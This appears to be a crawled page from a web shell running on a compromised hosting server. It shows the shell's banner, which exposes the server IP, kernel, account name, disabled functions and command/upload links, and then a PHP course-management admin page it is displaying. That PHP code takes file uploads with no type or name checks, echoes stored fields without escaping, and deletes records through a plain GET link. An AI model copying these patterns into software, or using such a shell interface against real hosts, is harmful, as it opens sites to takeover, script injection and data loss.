|
Server IP : 103.191.208.227 / Your IP : 3.12.74.180 Web Server : LiteSpeed System : Linux emphasis.herosite.pro 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64 User : mhmsfzcs ( 1485) PHP Version : 8.1.31 Disable Function : show_source, system, shell_exec, passthru, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/mhmsfzcs/vflyorions.com/admin/assets/blog_image/../docs/../docs/../../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'db.php';
include 'header.php';
include 'sidebar.php';
$image='';
if (isset($_POST['change']))
{
$id=$_POST['id'];
$heading=$_POST['heading'];
$f=$_POST['f_description'];
$s=$_POST['s_description'];
$price=$_POST['price'];
$c=$_POST['curriculum'];
$newimage=$_FILES['newimage']['name'];
// $image=$_POST['image'];
$oldimage=$_POST['oldimage'];
if (isset($_FILES['newimage']['name'])&&($_FILES['newimage']['name']!="")){
$newimage=$_FILES['newimage']['name'];
// unlink($oldimage);
$destinationfile='assets/course_image/'.$newimage;
move_uploaded_file($_FILES['newimage']['tmp_name'], $destinationfile);
}
else{
$newimage=$oldimage;
}
$insert2 = $conn->prepare("UPDATE `courses` SET `heading`=?,`short_description`=?,`long_description`=?,`price`=?,`image`=?,`curriculum`=? WHERE id=?" );
$insert2->bind_param("sssssss",$heading,$s,$f,$price,$newimage,$c,$id);
$res=$insert2->execute();
if($res)
{
$_SESSION['status']="Updated Successfully";
$_SESSION['status_code']="success";
}
else
{
// $_SESSION['status']="Oops something went wrong!!";
// $_SESSION['status_code']="error";
}
}
if(isset($_GET['delete']))
{
$ad=$_GET['delete'];
$query=$conn->prepare("delete from courses where id =?");
$query->bind_param("s",$ad);
$res=$query->execute();
if($res)
{
$_SESSION['status']="User Deleted Successfully";
$_SESSION['status_code']="success";
}
else
{
$_SESSION['status']="Oops something went wrong!!";
$_SEESION['status_code']="error";
}
}
?>
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<div class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<div class="col-sm-6">
<h1 class="m-0">Dashboard</h1>
</div><!-- /.col -->
<div class="col-sm-6">
<ol class="breadcrumb float-sm-right">
<li class="breadcrumb-item"><a href="#">Home</a></li>
<li class="breadcrumb-item active">Dashboard</li>
</ol>
</div><!-- /.col -->
</div><!-- /.row -->
</div><!-- /.container-fluid -->
</div>
<!-- /.content-header -->
<!-- Main content -->
<section class="content">
<div class="container-fluid">
<div class="card">
<div class="card-header">
<h3 class="card-title">Manage courses</h3>
</div>
<!-- /.card-header -->
<div class="card-body">
<table id="example1" class="table table-bordered table-striped">
<thead>
<tr>
<th>Sr. No.</th>
<th>Heading</th>
<th>Price</th>
<th>Short Description</th>
<th>Description</th>
<th>Curriculum</th>
<th>Image</th>
<th>Date</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<?php
$que="SELECT * From courses";
$r=$conn->query($que);
$sr=1;
while($row=$r->fetch_assoc())
{
$id=$row['id'];
?>
<tr>
<td><?php echo $sr;?></td>
<td><?php echo $row['heading'];?></td>
<td><?php echo $row['price'];?></td>
<td><?php echo $row['short_description'];?></td>
<td><?php echo $row['long_description'];?></td>
<td><?php echo $row['curriculum'];?></td>
<td><img src="<?php echo ('assets/course_image')."/". $row['image']; ?>" width="100"><br><?= $row['image'];?></td>
<td><?php echo $row['date'];?></td>
<td><a href="manage_product.php?delete=<?= $row['id']; ?>" onclick="return confirm('Are you sure to delete?')" class="btn btn-danger">Delete</a>
<button type="button" class="btn btn-success" data-toggle="modal" data-target="#modal-default<?php echo $id;?>" data-id="<?php echo $id; ?>">
<i class="mdi mdi-pencil label-icon"></i>Edit
</button>
</td>
</tr>
<div class="modal fade" id="modal-default<?php echo $id;?>">
<?php
$uquery = "SELECT * from courses WHERE id='$id'";
$result2=$conn->query($uquery);
while($row5=$result2->fetch_assoc())
{
?>
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h4 class="modal-title">Edit</h4>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<form method="post" enctype="multipart/form-data">
<div class="card-body">
<div class="row">
<div class="col-sm-12">
<div class="form-group">
<label>Heading </label>
<input type="text" data-pristine-required-message="Please Enter a Heading" name="heading" class="form-control" value="<?php echo $row5['heading'];?>" />
<input type="hidden" name="id" class="form-control" value="<?php echo $row5['id'];?>">
</div>
<div class="form-group">
<label>Price </label>
<input type="text" data-pristine-required-message="Please Enter a Heading" name="price" class="form-control" value="<?php echo $row5['price'];?>" />
</div>
<div class="form-group">
<label>full Description </label>
<input type="text" data-pristine-required-message="Please Enter a Heading" name="s_description" class="form-control" value="<?php echo $row5['short_description'];?>" />
</div>
<div class="form-group">
<label>Short Description </label>
<input type="text" data-pristine-required-message="Please Enter a Heading" name="f_description" class="form-control" value="<?php echo $row5['long_description'];?>" />
</div>
<div class="form-group">
<label>Curriculum </label>
<input type="text" data-pristine-required-message="Please Enter a curriculum" name="curriculum" class="form-control" value="<?php echo $row5['curriculum'];?>" />
</div>
<div class="form-group">
<label>Image </span></label>
<input type="hidden" class="form-control" id="exampleInputdob" name="oldimage" placeholder="Image" value="<?php echo $row5['image'];?>">
<input type="file" class="form-control" id="exampleInputdob" name="newimage" placeholder="Image">
<img src="<?php echo('assets/course_image')."/".$row5['image'];?>" width="100" class="img-thumbnail" >
</div>
</div>
</div>
</div>
<!-- /.card-body -->
<div class="modal-footer justify-content-between">
<button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
<button type="submit" name="change" class="btn btn-primary">Save changes</button>
</div>
</form>
</div>
</div>
<!-- /.modal-content -->
</div>
<!-- /.modal-dialog -->
<?php } ?>
</div>
<?php
$sr=$sr+1;}
?>
</tbody>
</table>
</div>
<!-- /.card-body -->
</div>
<!-- /.card -->
</div>
<!-- /.row -->
</div><!--/. container-fluid -->
</section>
<!-- /.content -->
</div>
<!-- /.content-wrapper -->
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
<!-- <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function()
{
$("#site").change(function()
{
var site_id=$(this).val();
var post_id = 'id='+ site_id;
$.ajax
({
type: "POST",
url: "fetch.php",
data: post_id,
cache: false,
success: function(cities)
{
$("#cp").html(cities);
}
});
});
});
</script> -->
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
<?php if(isset($_SESSION['status']) && $_SESSION['status']!='') { ?>
<script>
new swal({
title: "<?php echo $_SESSION['status'];?>",
//text: "You clicked the button!",
icon: "<?php echo $_SESSION['status_code'];?>",
button: "OK",
}).then(function() {
window.location = "manage_product.php";
});
</script>
<?php
unset($_SESSION['status']);
}
?>
<?php include 'footer.php'; ?>